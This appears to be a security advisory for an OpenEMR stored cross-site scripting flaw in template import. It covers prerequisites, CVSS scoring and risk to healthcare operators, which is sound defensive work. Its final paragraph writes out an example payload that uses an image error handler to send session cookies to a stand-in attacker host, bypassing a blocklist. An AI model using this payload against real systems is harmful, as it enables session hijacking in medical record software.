OpenEMR CVE-2026-40508

Exploitation requires the attacker to hold an authenticated OpenEMR session with the Forms Administration permission role - this is a non-trivial prerequisite that limits the attacker pool to internal users or compromised administrative accounts. The patient portal template import functionality must be active, which is a configurable feature. Payload delivery to a victim requires a second Forms Administration user to open the poisoned template in the HTML editor (the CVSS UI:P - passive user interaction - reflects this). Factors that limit exploitation: the attacker cannot reach arbitrary users or patients; only peer Forms Administration users are targeted; the feature must be enabled; and the victim must actively navigate to the infected template. The vulnerability does not affect unauthenticated users, patients, or administrative roles other than Forms Administration.

The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P) accurately reflects the constrained threat model: exploitation requires holding the Forms Administration role, and payload delivery requires a peer administrator to open the poisoned template. The subsequent-system impact metrics SC:L/SI:L confirm the scope is limited to the administrative session of other Forms Administration users - not patients or anonymous visitors. EPSS data was not provided in the intelligence feed; given the authentication and role prerequisites, broad automated exploitation is unlikely. KEV status is not confirmed, and no public exploit code has been identified, so this is presently a theoretical attack path rather than an observed campaign. For healthcare organizations running OpenEMR with multiple Forms Administration accounts, the insider-threat and compromised-credential scenarios are the realistic risk vectors: a low-privileged but malicious administrator, or an attacker who has phished one Forms Admin account, could escalate impact by targeting peer administrators. The confined blast radius - only Forms Administration users are directly affected - keeps this below critical priority for most operators, but the sensitivity of EMR environments and potential for further privilege escalation via stolen admin sessions means patching should not be deferred.

An attacker who holds or has compromised a Forms Administration account crafts an HTML template file containing a payload such as '<img src=x onerror=fetch("https://attacker.example/steal?c="+document.cookie)>' - a vector the original blocklist did not block. After uploading the template through the patient portal import handler, the payload is stored unmodified. When any peer Forms Administration user opens the template in the Summernote HTML editor, the browser executes the script and exfiltrates the victim's session cookie, enabling session hijacking and full administrative access. No public proof-of-concept has been identified, but the bypass technique is elementary and well-documented for blocklist-based XSS defenses.